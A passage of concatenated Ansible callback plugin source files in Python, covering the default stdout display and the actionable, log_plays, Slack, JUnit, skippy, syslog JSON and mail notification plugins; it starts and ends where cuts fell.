                error = result._result['exception'].strip().split('\n')[-1]
                msg = "An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s" % error
            else:
                msg = "An exception occurred during task execution. The full traceback is:\n" + result._result['exception']

            self._display.display(msg, color=C.COLOR_ERROR)

        if result._task.loop and 'results' in result._result:
            self._process_items(result)

        else:
            if delegated_vars:
                self._display.display("fatal: [%s -> %s]: FAILED! => %s" % (result._host.get_name(), delegated_vars['ansible_host'], self._dump_results(result._result)), color=C.COLOR_ERROR)
            else:
                self._display.display("fatal: [%s]: FAILED! => %s" % (result._host.get_name(), self._dump_results(result._result)), color=C.COLOR_ERROR)

        if result._task.ignore_errors:
            self._display.display("...ignoring", color=C.COLOR_SKIP)

    def v2_runner_on_ok(self, result):

        self._clean_results(result._result, result._task.action)
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if result._task.action == 'include':
            return
        elif result._result.get('changed', False):
            if delegated_vars:
                msg = "changed: [%s -> %s]" % (result._host.get_name(), delegated_vars['ansible_host'])
            else:
                msg = "changed: [%s]" % result._host.get_name()
            color = C.COLOR_CHANGED
        else:
            if delegated_vars:
                msg = "ok: [%s -> %s]" % (result._host.get_name(), delegated_vars['ansible_host'])
            else:
                msg = "ok: [%s]" % result._host.get_name()
            color = C.COLOR_OK

        if result._task.loop and 'results' in result._result:
            self._process_items(result)
        else:

            if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
                msg += " => %s" % (self._dump_results(result._result),)
            self._display.display(msg, color=color)

        self._handle_warnings(result._result)

    def v2_runner_on_skipped(self, result):
        if C.DISPLAY_SKIPPED_HOSTS:
            if result._task.loop and 'results' in result._result:
                self._process_items(result)
            else:
                msg = "skipping: [%s]" % result._host.get_name()
                if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
                    msg += " => %s" % self._dump_results(result._result)
                self._display.display(msg, color=C.COLOR_SKIP)

    def v2_runner_on_unreachable(self, result):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if delegated_vars:
            self._display.display("fatal: [%s -> %s]: UNREACHABLE! => %s" % (result._host.get_name(), delegated_vars['ansible_host'], self._dump_results(result._result)), color=C.COLOR_UNREACHABLE)
        else:
            self._display.display("fatal: [%s]: UNREACHABLE! => %s" % (result._host.get_name(), self._dump_results(result._result)), color=C.COLOR_UNREACHABLE)

    def v2_playbook_on_no_hosts_matched(self):
        self._display.display("skipping: no hosts matched", color=C.COLOR_SKIP)

    def v2_playbook_on_no_hosts_remaining(self):
        self._display.banner("NO MORE HOSTS LEFT")

    def v2_playbook_on_task_start(self, task, is_conditional):
        args = ''
        # args can be specified as no_log in several places: in the task or in
        # the argument spec.  We can check whether the task is no_log but the
        # argument spec can't be because that is only run on the target
        # machine and we haven't run it thereyet at this time.
        #
        # So we give people a config option to affect display of the args so
        # that they can secure this if they feel that their stdout is insecure
        # (shoulder surfing, logging stdout straight to a file, etc).
        if not task.no_log and C.DISPLAY_ARGS_TO_STDOUT:
            args = ', '.join(('%s=%s' % a for a in task.args.items()))
            args = ' %s' % args
        self._display.banner("TASK [%s%s]" % (task.get_name().strip(), args))
        if self._display.verbosity >= 2:
            path = task.get_path()
            if path:
                self._display.display("task path: %s" % path, color=C.COLOR_DEBUG)

    def v2_playbook_on_cleanup_task_start(self, task):
        self._display.banner("CLEANUP TASK [%s]" % task.get_name().strip())

    def v2_playbook_on_handler_task_start(self, task):
        self._display.banner("RUNNING HANDLER [%s]" % task.get_name().strip())

    def v2_playbook_on_play_start(self, play):
        name = play.get_name().strip()
        if not name:
            msg = "PLAY"
        else:
            msg = "PLAY [%s]" % name

        self._display.banner(msg)

    def v2_on_file_diff(self, result):
        if result._task.loop and 'results' in result._result:
            for res in result._result['results']:
                if 'diff' in res and res['diff'] and res.get('changed', False):
                    diff = self._get_diff(res['diff'])
                    if diff:
                        self._display.display(diff)
        elif 'diff' in result._result and result._result['diff'] and result._result.get('changed', False):
            diff = self._get_diff(result._result['diff'])
            if diff:
                self._display.display(diff)

    def v2_runner_item_on_ok(self, result):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if result._task.action == 'include':
            return
        elif result._result.get('changed', False):
            msg = 'changed'
            color = C.COLOR_CHANGED
        else:
            msg = 'ok'
            color = C.COLOR_OK

        if delegated_vars:
            msg += ": [%s -> %s]" % (result._host.get_name(), delegated_vars['ansible_host'])
        else:
            msg += ": [%s]" % result._host.get_name()

        msg += " => (item=%s)" % (self._get_item(result._result),)

        if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
            msg += " => %s" % self._dump_results(result._result)
        self._display.display(msg, color=color)

    def v2_runner_item_on_failed(self, result):
        delegated_vars = result._result.get('_ansible_delegated_vars', None)
        if 'exception' in result._result:
            if self._display.verbosity < 3:
                # extract just the actual error message from the exception text
                error = result._result['exception'].strip().split('\n')[-1]
                msg = "An exception occurred during task execution. To see the full traceback, use -vvv. The error was: %s" % error
            else:
                msg = "An exception occurred during task execution. The full traceback is:\n" + result._result['exception']

            self._display.display(msg, color=C.COLOR_ERROR)

        msg = "failed: "
        if delegated_vars:
            msg += "[%s -> %s]" % (result._host.get_name(), delegated_vars['ansible_host'])
        else:
            msg += "[%s]" % (result._host.get_name())

        self._display.display(msg + " (item=%s) => %s" % (self._get_item(result._result), self._dump_results(result._result)), color=C.COLOR_ERROR)
        self._handle_warnings(result._result)

    def v2_runner_item_on_skipped(self, result):
        if C.DISPLAY_SKIPPED_HOSTS:
            msg = "skipping: [%s] => (item=%s) " % (result._host.get_name(), self._get_item(result._result))
            if (self._display.verbosity > 0 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
                msg += " => %s" % self._dump_results(result._result)
            self._display.display(msg, color=C.COLOR_SKIP)

    def v2_playbook_on_include(self, included_file):
        msg = 'included: %s for %s' % (included_file._filename, ", ".join([h.name for h in included_file._hosts]))
        self._display.display(msg, color=C.COLOR_SKIP)

    def v2_playbook_on_stats(self, stats):
        self._display.banner("PLAY RECAP")

        hosts = sorted(stats.processed.keys())
        for h in hosts:
            t = stats.summarize(h)

            self._display.display(u"%s : %s %s %s %s" % (
                hostcolor(h, t),
                colorize(u'ok', t['ok'], C.COLOR_OK),
                colorize(u'changed', t['changed'], C.COLOR_CHANGED),
                colorize(u'unreachable', t['unreachable'], C.COLOR_UNREACHABLE),
                colorize(u'failed', t['failures'], C.COLOR_ERROR)),
                screen_only=True
            )

            self._display.display(u"%s : %s %s %s %s" % (
                hostcolor(h, t, False),
                colorize(u'ok', t['ok'], None),
                colorize(u'changed', t['changed'], None),
                colorize(u'unreachable', t['unreachable'], None),
                colorize(u'failed', t['failures'], None)),
                log_only=True
            )

        self._display.display("", screen_only=True)

    def v2_playbook_on_start(self, playbook):
        if self._display.verbosity > 1:
            from os.path import basename
            self._display.banner("PLAYBOOK: %s" % basename(playbook._file_name))

        if self._display.verbosity > 3:
            if self._options is not None:
                for option in dir(self._options):
                    if option.startswith('_') or option in ['read_file', 'ensure_value', 'read_module']:
                        continue
                    val =  getattr(self._options,option)
                    if val:
                        self._display.vvvv('%s: %s' % (option,val))

    def v2_runner_retry(self, result):
        msg = "FAILED - RETRYING: %s (%d retries left)." % (result._task, result._result['retries'] - result._result['attempts'])
        if (self._display.verbosity > 2 or '_ansible_verbose_always' in result._result) and not '_ansible_verbose_override' in result._result:
            msg += "Result was: %s" % self._dump_results(result._result)
        self._display.display(msg, color=C.COLOR_DEBUG)






# (c) 2015, Andrew Gaffney <andrew@agaffney.org>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback.default import CallbackModule as CallbackModule_default

class CallbackModule(CallbackModule_default):

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'actionable'

    def __init__(self):
        self.super_ref = super(CallbackModule, self)
        self.super_ref.__init__()
        self.last_task = None
        self.shown_title = False

    def v2_playbook_on_handler_task_start(self, task):
        self.super_ref.v2_playbook_on_handler_task_start(task)
        self.shown_title = True

    def v2_playbook_on_task_start(self, task, is_conditional):
        self.last_task = task
        self.shown_title = False

    def display_task_banner(self):
        if not self.shown_title:
            self.super_ref.v2_playbook_on_task_start(self.last_task, None)
            self.shown_title = True

    def v2_runner_on_failed(self, result, ignore_errors=False):
        self.display_task_banner()
        self.super_ref.v2_runner_on_failed(result, ignore_errors)

    def v2_runner_on_ok(self, result):
        if result._result.get('changed', False):
            self.display_task_banner()
            self.super_ref.v2_runner_on_ok(result)

    def v2_runner_on_unreachable(self, result):
        self.display_task_banner()
        self.super_ref.v2_runner_on_unreachable(result)

    def v2_runner_on_skipped(self, result):
        pass

    def v2_playbook_on_include(self, included_file):
        pass

    def v2_runner_item_on_ok(self, result):
        if result._result.get('changed', False):
            self.display_task_banner()
            self.super_ref.v2_runner_item_on_ok(result)

    def v2_runner_item_on_skipped(self, result):
        pass

    def v2_runner_item_on_failed(self, result):
        self.display_task_banner()
        self.super_ref.v2_runner_item_on_failed(result)







# (C) 2012, Michael DeHaan, <michael.dehaan@gmail.com>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import time
import json

from ansible.utils.unicode import to_bytes
from ansible.plugins.callback import CallbackBase

# NOTE: in Ansible 1.2 or later general logging is available without
# this plugin, just set ANSIBLE_LOG_PATH as an environment variable
# or log_path in the DEFAULTS section of your ansible configuration
# file.  This callback is an example of per hosts logging for those
# that want it.


class CallbackModule(CallbackBase):
    """
    logs playbook results, per host, in /var/log/ansible/hosts
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'log_plays'
    CALLBACK_NEEDS_WHITELIST = True

    TIME_FORMAT="%b %d %Y %H:%M:%S"
    MSG_FORMAT="%(now)s - %(category)s - %(data)s\n\n"

    def __init__(self):

        super(CallbackModule, self).__init__()

        if not os.path.exists("/var/log/ansible/hosts"):
            os.makedirs("/var/log/ansible/hosts")

    def log(self, host, category, data):
        if type(data) == dict:
            if '_ansible_verbose_override' in data:
                # avoid logging extraneous data
                data = 'omitted'
            else:
                data = data.copy()
                invocation = data.pop('invocation', None)
                data = json.dumps(data)
                if invocation is not None:
                    data = json.dumps(invocation) + " => %s " % data

        path = os.path.join("/var/log/ansible/hosts", host)
        now = time.strftime(self.TIME_FORMAT, time.localtime())

        msg = to_bytes(self.MSG_FORMAT % dict(now=now, category=category, data=data))
        with open(path, "ab") as fd:
            fd.write(msg)

    def runner_on_failed(self, host, res, ignore_errors=False):
        self.log(host, 'FAILED', res)

    def runner_on_ok(self, host, res):
        self.log(host, 'OK', res)

    def runner_on_skipped(self, host, item=None):
        self.log(host, 'SKIPPED', '...')

    def runner_on_unreachable(self, host, res):
        self.log(host, 'UNREACHABLE', res)

    def runner_on_async_failed(self, host, res, jid):
        self.log(host, 'ASYNC_FAILED', res)

    def playbook_on_import_for_host(self, host, imported_file):
        self.log(host, 'IMPORTED', imported_file)

    def playbook_on_not_import_for_host(self, host, missing_file):
        self.log(host, 'NOTIMPORTED', missing_file)






# (C) 2014-2015, Matt Martz <matt@sivel.net>

# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import json
import os
import uuid

try:
    from __main__ import cli
except ImportError:
    cli = None

from ansible.constants import mk_boolean
from ansible.module_utils.urls import open_url
from ansible.plugins.callback import CallbackBase

try:
    import prettytable
    HAS_PRETTYTABLE = True
except ImportError:
    HAS_PRETTYTABLE = False


class CallbackModule(CallbackBase):
    """This is an ansible callback plugin that sends status
    updates to a Slack channel during playbook execution.

    This plugin makes use of the following environment variables:
        SLACK_WEBHOOK_URL (required): Slack Webhook URL
        SLACK_CHANNEL     (optional): Slack room to post in. Default: #ansible
        SLACK_USERNAME    (optional): Username to post as. Default: ansible
        SLACK_INVOCATION  (optional): Show command line invocation
                                      details. Default: False

    Requires:
        prettytable

    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'slack'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self, display=None):

        self.disabled = False

        if cli:
            self._options = cli.options
        else:
            self._options = None


        super(CallbackModule, self).__init__(display=display)

        if not HAS_PRETTYTABLE:
            self.disabled = True
            self._display.warning('The `prettytable` python module is not '
                                  'installed. Disabling the Slack callback '
                                  'plugin.')

        self.webhook_url = os.getenv('SLACK_WEBHOOK_URL')
        self.channel = os.getenv('SLACK_CHANNEL', '#ansible')
        self.username = os.getenv('SLACK_USERNAME', 'ansible')
        self.show_invocation = mk_boolean(
            os.getenv('SLACK_INVOCATION', self._display.verbosity > 1)
        )

        if self.webhook_url is None:
            self.disabled = True
            self._display.warning('Slack Webhook URL was not provided. The '
                                  'Slack Webhook URL can be provided using '
                                  'the `SLACK_WEBHOOK_URL` environment '
                                  'variable.')

        self.playbook_name = None

        # This is a 6 character identifier provided with each message
        # This makes it easier to correlate messages when there are more
        # than 1 simultaneous playbooks running
        self.guid = uuid.uuid4().hex[:6]

    def send_msg(self, attachments):
        payload = {
            'channel': self.channel,
            'username': self.username,
            'attachments': attachments,
            'parse': 'none',
            'icon_url': ('http://cdn2.hubspot.net/hub/330046/'
                         'file-449187601-png/ansible_badge.png'),
        }

        data = json.dumps(payload)
        self._display.debug(data)
        self._display.debug(self.webhook_url)
        try:
            response = open_url(self.webhook_url, data=data)
            return response.read()
        except Exception as e:
            self._display.warning('Could not submit message to Slack: %s' %
                                  str(e))

    def v2_playbook_on_start(self, playbook):
        self.playbook_name = os.path.basename(playbook._file_name)

        title = [
            '*Playbook initiated* (_%s_)' % self.guid
        ]
        invocation_items = []
        if self._options and self.show_invocation:
            tags = self._options.tags
            skip_tags = self._options.skip_tags
            extra_vars = self._options.extra_vars
            subset = self._options.subset
            inventory = os.path.basename(
                os.path.realpath(self._options.inventory)
            )

            invocation_items.append('Inventory:  %s' % inventory)
            if tags and tags != 'all':
                invocation_items.append('Tags:       %s' % tags)
            if skip_tags:
                invocation_items.append('Skip Tags:  %s' % skip_tags)
            if subset:
                invocation_items.append('Limit:      %s' % subset)
            if extra_vars:
                invocation_items.append('Extra Vars: %s' %
                                        ' '.join(extra_vars))

            title.append('by *%s*' % self._options.remote_user)

        title.append('\n\n*%s*' % self.playbook_name)
        msg_items = [' '.join(title)]
        if invocation_items:
            msg_items.append('```\n%s\n```' % '\n'.join(invocation_items))

        msg = '\n'.join(msg_items)

        attachments = [{
            'fallback': msg,
            'fields': [
                {
                    'value': msg
                }
            ],
            'color': 'warning',
            'mrkdwn_in': ['text', 'fallback', 'fields'],
        }]

        self.send_msg(attachments=attachments)

    def v2_playbook_on_play_start(self, play):
        """Display Play start messages"""

        name = play.name or 'Play name not specified (%s)' % play._uuid
        msg = '*Starting play* (_%s_)\n\n*%s*' % (self.guid, name)
        attachments = [
            {
                'fallback': msg,
                'text': msg,
                'color': 'warning',
                'mrkdwn_in': ['text', 'fallback', 'fields'],
            }
        ]
        self.send_msg(attachments=attachments)

    def v2_playbook_on_stats(self, stats):
        """Display info about playbook statistics"""

        hosts = sorted(stats.processed.keys())

        t = prettytable.PrettyTable(['Host', 'Ok', 'Changed', 'Unreachable',
                                     'Failures'])

        failures = False
        unreachable = False

        for h in hosts:
            s = stats.summarize(h)

            if s['failures'] > 0:
                failures = True
            if s['unreachable'] > 0:
                unreachable = True

            t.add_row([h] + [s[k] for k in ['ok', 'changed', 'unreachable',
                                            'failures']])

        attachments = []
        msg_items = [
            '*Playbook Complete* (_%s_)' % self.guid
        ]
        if failures or unreachable:
            color = 'danger'
            msg_items.append('\n*Failed!*')
        else:
            color = 'good'
            msg_items.append('\n*Success!*')

        msg_items.append('```\n%s\n```' % t)

        msg = '\n'.join(msg_items)

        attachments.append({
            'fallback': msg,
            'fields': [
                {
                    'value': msg
                }
            ],
            'color': color,
            'mrkdwn_in': ['text', 'fallback', 'fields']
        })

        self.send_msg(attachments=attachments)






# (c) 2016 Matt Clay <matt@mystile.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import time

from ansible.plugins.callback import CallbackBase
from ansible.utils.unicode import to_bytes

try:
    from junit_xml import TestSuite, TestCase
    HAS_JUNIT_XML = True
except ImportError:
    HAS_JUNIT_XML = False

try:
    from collections import OrderedDict
    HAS_ORDERED_DICT = True
except ImportError:
    try:
        from ordereddict import OrderedDict
        HAS_ORDERED_DICT = True
    except ImportError:
        HAS_ORDERED_DICT = False

class CallbackModule(CallbackBase):
    """
    This callback writes playbook output to a JUnit formatted XML file.

    Tasks show up in the report as follows:
        'ok': pass
        'failed' with 'EXPECTED FAILURE' in the task name: pass
        'failed' due to an exception: error
        'failed' for other reasons: failure
        'skipped': skipped

    This plugin makes use of the following environment variables:
        JUNIT_OUTPUT_DIR (optional): Directory to write XML files to.
                                     Default: ~/.ansible.log

    Requires:
        junit_xml

    """

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'junit'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):
        super(CallbackModule, self).__init__()

        self._output_dir = os.getenv('JUNIT_OUTPUT_DIR', os.path.expanduser('~/.ansible.log'))
        self._playbook_path = None
        self._playbook_name = None
        self._play_name = None
        self._task_data = None

        self.disabled = False

        if not HAS_JUNIT_XML:
            self.disabled = True
            self._display.warning('The `junit_xml` python module is not installed. '
                                  'Disabling the `junit` callback plugin.')

        if HAS_ORDERED_DICT:
            self._task_data = OrderedDict()
        else:
            self.disabled = True
            self._display.warning('The `ordereddict` python module is not installed. '
                                  'Disabling the `junit` callback plugin.')

        if not os.path.exists(self._output_dir):
            os.mkdir(self._output_dir)

    def _start_task(self, task):
        """ record the start of a task for one or more hosts """

        uuid = task._uuid

        if uuid in self._task_data:
            return

        play = self._play_name
        name = task.get_name().strip()
        path = task.get_path()

        if not task.no_log:
            args = ', '.join(('%s=%s' % a for a in task.args.items()))
            if args:
                name += ' ' + args

        self._task_data[uuid] = TaskData(uuid, name, path, play)

    def _finish_task(self, status, result):
        """ record the results of a task for a single host """

        task_uuid = result._task._uuid

        if hasattr(result, '_host'):
            host_uuid = result._host._uuid
            host_name = result._host.name
        else:
            host_uuid = 'include'
            host_name = 'include'

        task_data = self._task_data[task_uuid]

        if status == 'failed' and 'EXPECTED FAILURE' in task_data.name:
            status = 'ok'

        task_data.add_host(HostData(host_uuid, host_name, status, result))

    def _build_test_case(self, task_data, host_data):
        """ build a TestCase from the given TaskData and HostData """

        name = '[%s] %s: %s' % (host_data.name, task_data.play, task_data.name)
        duration = host_data.finish - task_data.start

        if host_data.status == 'included':
            return TestCase(name, task_data.path, duration, host_data.result)

        res = host_data.result._result
        rc = res.get('rc', 0)
        dump = self._dump_results(res, indent=0)

        if host_data.status == 'ok':
            return TestCase(name, task_data.path, duration, dump)

        test_case = TestCase(name, task_data.path, duration)

        if host_data.status == 'failed':
            if 'exception' in res:
                message = res['exception'].strip().split('\n')[-1]
                output = res['exception']
                test_case.add_error_info(message, output)
            elif 'msg' in res:
                message = res['msg']
                test_case.add_failure_info(message, dump)
            else:
                test_case.add_failure_info('rc=%s' % rc, dump)
        elif host_data.status == 'skipped':
            if 'skip_reason' in res:
                message = res['skip_reason']
            else:
                message = 'skipped'
            test_case.add_skipped_info(message)

        return test_case

    def _generate_report(self):
        """ generate a TestSuite report from the collected TaskData and HostData """

        test_cases = []

        for task_uuid, task_data in self._task_data.items():
            for host_uuid, host_data in task_data.host_data.items():
                test_cases.append(self._build_test_case(task_data, host_data))

        test_suite = TestSuite(self._playbook_name, test_cases)
        report = TestSuite.to_xml_string([test_suite])

        output_file = os.path.join(self._output_dir, '%s-%s.xml' % (self._playbook_name, time.time()))

        with open(output_file, 'wb') as xml:
            xml.write(to_bytes(report, errors='strict'))

    def v2_playbook_on_start(self, playbook):
        self._playbook_path = playbook._file_name
        self._playbook_name = os.path.splitext(os.path.basename(self._playbook_path))[0]

    def v2_playbook_on_play_start(self, play):
        self._play_name = play.get_name()

    def v2_runner_on_no_hosts(self, task):
        self._start_task(task)

    def v2_playbook_on_task_start(self, task, is_conditional):
        self._start_task(task)

    def v2_playbook_on_cleanup_task_start(self, task):
        self._start_task(task)

    def v2_playbook_on_handler_task_start(self, task):
        self._start_task(task)

    def v2_runner_on_failed(self, result, ignore_errors=False):
        if ignore_errors:
            self._finish_task('ok', result)
        else:
            self._finish_task('failed', result)

    def v2_runner_on_ok(self, result):
        self._finish_task('ok', result)

    def v2_runner_on_skipped(self, result):
        self._finish_task('skipped', result)

    def v2_playbook_on_include(self, included_file):
        self._finish_task('included', included_file)

    def v2_playbook_on_stats(self, stats):
        self._generate_report()


class TaskData:
    """
    Data about an individual task.
    """

    def __init__(self, uuid, name, path, play):
        self.uuid = uuid
        self.name = name
        self.path = path
        self.play = play
        self.start = None
        self.host_data = OrderedDict()
        self.start = time.time()

    def add_host(self, host):
        if host.uuid in self.host_data:
            if host.status == 'included':
                # concatenate task include output from multiple items
                host.result = '%s\n%s' % (self.host_data[host.uuid].result, host.result)
            else:
                raise Exception('%s: %s: %s: duplicate host callback: %s' % (self.path, self.play, self.name, host.name))

        self.host_data[host.uuid] = host


class HostData:
    """
    Data about an individual host.
    """

    def __init__(self, uuid, name, status, result):
        self.uuid = uuid
        self.name = name
        self.status = status
        self.result = result
        self.finish = time.time()






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.plugins.callback.default import CallbackModule as CallbackModule_default

class CallbackModule(CallbackModule_default):

    '''
    This is the default callback interface, which simply prints messages
    to stdout when new callback events are received.
    '''

    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'stdout'
    CALLBACK_NAME = 'skippy'

    def v2_runner_on_skipped(self, result):
        pass

    def v2_runner_item_on_skipped(self, result):
        pass






# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import json

import logging
import logging.handlers

import socket

from ansible.plugins.callback import CallbackBase

class CallbackModule(CallbackBase):
    """
    logs ansible-playbook and ansible runs to a syslog server in json format
    make sure you have in ansible.cfg:
        callback_plugins   = <path_to_callback_plugins_folder>
    and put the plugin in <path_to_callback_plugins_folder>
    
    This plugin makes use of the following environment variables:
        SYSLOG_SERVER   (optional): defaults to localhost
        SYSLOG_PORT     (optional): defaults to 514
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'aggregate'
    CALLBACK_NAME = 'syslog_json'
    CALLBACK_NEEDS_WHITELIST = True

    def __init__(self):

        super(CallbackModule, self).__init__()

        self.logger =  logging.getLogger('ansible logger')
        self.logger.setLevel(logging.DEBUG)

        self.handler = logging.handlers.SysLogHandler(
            address = (os.getenv('SYSLOG_SERVER','localhost'),
                       os.getenv('SYSLOG_PORT',514)), 
            facility=logging.handlers.SysLogHandler.LOG_USER
        )
        self.logger.addHandler(self.handler)
        self.hostname = socket.gethostname()


    def runner_on_failed(self, host, res, ignore_errors=False):
        self.logger.error('%s ansible-command: task execution FAILED; host: %s; message: %s' % (self.hostname,host,self._dump_results(res)))

    def runner_on_ok(self, host, res):
        self.logger.info('%s ansible-command: task execution OK; host: %s; message: %s' % (self.hostname,host,self._dump_results(res)))

    def runner_on_skipped(self, host, item=None):
        self.logger.info('%s ansible-command: task execution SKIPPED; host: %s; message: %s' % (self.hostname,host, 'skipped'))

    def runner_on_unreachable(self, host, res):
        self.logger.error('%s ansible-command: task execution UNREACHABLE; host: %s; message: %s' % (self.hostname,host,self._dump_results(res)))

    def runner_on_async_failed(self, host, res):
        self.logger.error('%s ansible-command: task execution FAILED; host: %s; message: %s' % (self.hostname,host,self._dump_results(res)))

    def playbook_on_import_for_host(self, host, imported_file):
        self.logger.info('%s ansible-command: playbook IMPORTED; host: %s; message: imported file %s' % (self.hostname,host,imported_file))

    def playbook_on_not_import_for_host(self, host, missing_file):
        self.logger.info('%s ansible-command: playbook NOT IMPORTED; host: %s; message: missing file %s' % (self.hostname,host,missing_file))






# -*- coding: utf-8 -*-
# Copyright 2012 Dag Wieers <dag@wieers.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import smtplib
import json

from ansible.compat.six import string_types
from ansible.utils.unicode import to_bytes
from ansible.plugins.callback import CallbackBase

def mail(subject='Ansible error mail', sender=None, to=None, cc=None, bcc=None, body=None, smtphost=None):

    if sender is None:
        sender='<root>'
    if to is None:
        to='root'
    if smtphost is None:
        smtphost=os.getenv('SMTPHOST', 'localhost')

    if body is None:
        body = subject

    smtp = smtplib.SMTP(smtphost)

    b_sender = to_bytes(sender)
    b_to = to_bytes(to)
    b_cc = to_bytes(cc)
    b_bcc = to_bytes(bcc)
    b_subject = to_bytes(subject)
    b_body = to_bytes(body)

    b_content = b'From: %s\n' % b_sender
    b_content += b'To: %s\n' % b_to
    if cc:
        b_content += b'Cc: %s\n' % b_cc
    b_content += b'Subject: %s\n\n' % b_subject
    b_content += b_body

    b_addresses = b_to.split(b',')
    if b_cc:
        b_addresses += b_cc.split(b',')
    if b_bcc:
        b_addresses += b_bcc.split(b',')

    for b_address in b_addresses:
        smtp.sendmail(b_sender, b_address, b_content)

    smtp.quit()


class CallbackModule(CallbackBase):
    """
    This Ansible callback plugin mails errors to interested parties.
    """
    CALLBACK_VERSION = 2.0
    CALLBACK_TYPE = 'notification'
    CALLBACK_NAME = 'mail'
    CALLBACK_NEEDS_WHITELIST = True

    def v2_runner_on_failed(self, res, ignore_errors=False):

        host = res._host.get_name()

        if ignore_errors:
            return
        sender = '"Ansible: %s" <root>' % host
        attach =  res._task.action
        if 'invocation' in res._result:
            attach = "%s:  %s" % (res._result['invocation']['module_name'], json.dumps(res._result['invocation']['module_args']))

        subject = 'Failed: %s' % attach
        body = 'The following task failed for host ' + host + ':\n\n%s\n\n' % attach

        if 'stdout' in res._result.keys() and res._result['stdout']:
            subject = res._result['stdout'].strip('\r\n').split('\n')[-1]
            body += 'with the following output in standard output:\n\n' + res._result['stdout'] + '\n\n'
        if 'stderr' in res._result.keys() and res._result['stderr']:
            subject = res._result['stderr'].strip('\r\n').split('\n')[-1]
            body += 'with the following output in standard error:\n\n' + res._result['stderr'] + '\n\n'
        if 'msg' in res._result.keys() and res._result['msg']:
            subject = res._result['msg'].strip('\r\n').split('\n')[0]
            body += 'with the following message:\n\n' + res._result['msg'] + '\n\n'
        body += 'A complete dump of the error:\n\n' + self._dump_results(res._result)
        mail(sender=sender, subject=subject, body=body)

    def v2_runner_on_unreachable(self, result):

        host = result._host.get_name()
        res = result._result

        sender = '"Ansible: %s" <root>' % host
        if isinstance(res, string_types):
            subject = 'Unreachable: %s' % res.strip('\r\n').split('\n')[-1]
